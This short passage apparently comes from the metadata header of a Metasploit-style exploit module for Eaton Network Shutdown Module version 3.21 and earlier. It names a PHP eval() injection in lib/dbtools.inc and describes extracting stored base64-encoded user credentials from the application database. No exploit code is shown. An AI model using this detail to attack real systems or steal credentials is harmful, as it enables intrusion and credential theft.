'Name' => 'Network Shutdown Module (sort_values) Remote PHP Code Injection',
'Description' => %q{
This module exploits a vulnerability in Eaton Network Shutdown Module
version <= 3.21, in lib/dbtools.inc which uses unsanitized user input
inside a eval() call. Additionally the base64 encoded user credentials
are extracted from the database of the application. Please note that
in order to be able to steal credentials, the vulnerable service must
have at least one USV module (an entry in the "nodes" table in
mgedb.db)
